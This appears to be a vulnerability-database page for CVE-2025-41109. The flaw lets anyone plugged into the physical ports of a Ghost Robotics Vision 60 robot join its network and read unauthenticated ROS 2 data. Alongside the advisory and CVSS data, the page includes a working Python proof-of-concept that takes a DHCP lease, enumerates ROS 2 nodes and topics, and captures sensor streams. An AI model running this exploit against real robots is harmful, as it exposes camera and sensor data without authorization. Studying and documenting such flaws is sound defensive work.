Security Vulnerability Report
中文
CVE-2025-41109 CVSS 4.6 MEDIUM

CVE-2025-41109

Published: 2025-10-22 09:15:37
Last Modified: 2025-10-31 19:39:30

Description

Ghost Robotics Vision 60 v0.27.2 includes, among its physical interfaces, three RJ45 connectors and a USB Type-C port. The vulnerability is due to the lack of authentication mechanisms when establishing connections through these ports. Specifically, with regard to network connectivity, the robot's internal router automatically assigns IP addresses to any device physically connected to it. An attacker could connect a WiFi access point under their control to gain access to the robot's network without needing the credentials for the deployed network. Once inside, the attacker can monitor all its data, as the robot runs on ROS 2 without authentication by default.

CVSS Details

CVSS Score
4.6
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:ghostrobotics:vision_60_firmware:0.27.2:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ghostrobotics:vision_60:-:*:*:*:*:*:*:* - NOT VULNERABLE
Ghost Robotics Vision 60 v0.27.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-41109 - Ghost Robotics Vision 60 Physical Interface Authentication Bypass PoC This PoC demonstrates how an attacker can gain unauthorized access to the robot's internal network by connecting to the physical RJ45/USB-C interfaces and exploiting the lack of authentication on ROS 2. """ import subprocess import time import socket def get_robot_ip(): """Wait for DHCP to assign an IP from the robot's internal router""" print("[*] Connecting to robot's physical interface (RJ45/USB-C)...") print("[*] Waiting for DHCP lease from internal router...") time.sleep(5) # Refresh DHCP lease subprocess.run(['sudo', 'dhclient', '-r'], capture_output=True) subprocess.run(['sudo', 'dhclient'], capture_output=True) time.sleep(3) # Get assigned IP result = subprocess.run(['hostname', '-I'], capture_output=True, text=True) ip = result.stdout.strip().split()[0] print(f"[+] Got IP: {ip}") return ip def discover_ros2_nodes(): """Enumerate ROS 2 nodes on the robot's network""" print("[*] Discovering ROS 2 nodes...") try: result = subprocess.run( ['ros2', 'node', 'list'], capture_output=True, text=True, timeout=10 ) if result.returncode == 0: nodes = result.stdout.strip().split('\n') print(f"[+] Found {len(nodes)} ROS 2 nodes:") for node in nodes: print(f" - {node}") return nodes except Exception as e: print(f"[-] Error: {e}") return [] def enumerate_ros2_topics(): """List all ROS 2 topics to identify data streams""" print("[*] Enumerating ROS 2 topics...") try: result = subprocess.run( ['ros2', 'topic', 'list'], capture_output=True, text=True, timeout=10 ) if result.returncode == 0: topics = result.stdout.strip().split('\n') print(f"[+] Found {len(topics)} topics:") for topic in topics: print(f" - {topic}") return topics except Exception as e: print(f"[-] Error: {e}") return [] def sniff_sensor_data(topic='/camera/image_raw'): """Subscribe to a sensor topic to capture data""" print(f"[*] Subscribing to topic: {topic}") print("[!] No authentication required - ROS 2 default config") try: # Echo topic data (demonstrates unauthorized data access) result = subprocess.run( ['ros2', 'topic', 'echo', topic, '--once'], capture_output=True, text=True, timeout=10 ) if result.stdout: print(f"[+] Data captured from {topic}") print(f"[+] Preview: {result.stdout[:200]}...") except Exception as e: print(f"[-] Error: {e}") def main(): print("=" * 60) print("CVE-2025-41109 PoC") print("Ghost Robotics Vision 60 - Physical Interface Bypass") print("=" * 60) # Step 1: Get network access via physical interface ip = get_robot_ip() # Step 2: Discover ROS 2 nodes nodes = discover_ros2_nodes() # Step 3: Enumerate available topics topics = enumerate_ros2_topics() # Step 4: Sniff sensor data sensor_topics = [t for t in topics if 'image' in t.lower() or 'scan' in t.lower() or 'imu' in t.lower()] if sensor_topics: sniff_sensor_data(sensor_topics[0]) print("\n[!] Attack complete - full access to robot data achieved") print("[!] No credentials were required at any stage") if __name__ == '__main__': main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-41109", "sourceIdentifier": "[email protected]", "published": "2025-10-22T09:15:36.617", "lastModified": "2025-10-31T19:39:30.097", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Ghost Robotics Vision 60 v0.27.2 includes, among its physical interfaces, three RJ45 connectors and a USB Type-C port. The vulnerability is due to the lack of authentication mechanisms when establishing connections through these ports. Specifically, with regard to network connectivity, the robot's internal router automatically assigns IP addresses to any device physically connected to it. An attacker could connect a WiFi access point under their control to gain access to the robot's network without needing the credentials for the deployed network. Once inside, the attacker can monitor all its data, as the robot runs on ROS 2 without authentication by default."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.6, "baseSeverity": "MEDIUM", "attackVector": "PHYSICAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-798"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ghostrobotics:vision_60_firmware:0.27.2:*:*:*:*:*:*:*", "matchCriteriaId": "6C0D9971-6E9B-4F72-B650-A3FD0B004507"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ghostrobotics:vision_60:-:*:*:*:*:*:*:*", "matchCriteriaId": "5E213EE6-FF18-4C56-8CE0-50E140A650E3"}]}]}], "references": [{"url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-ghost-robotics-vision-60", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}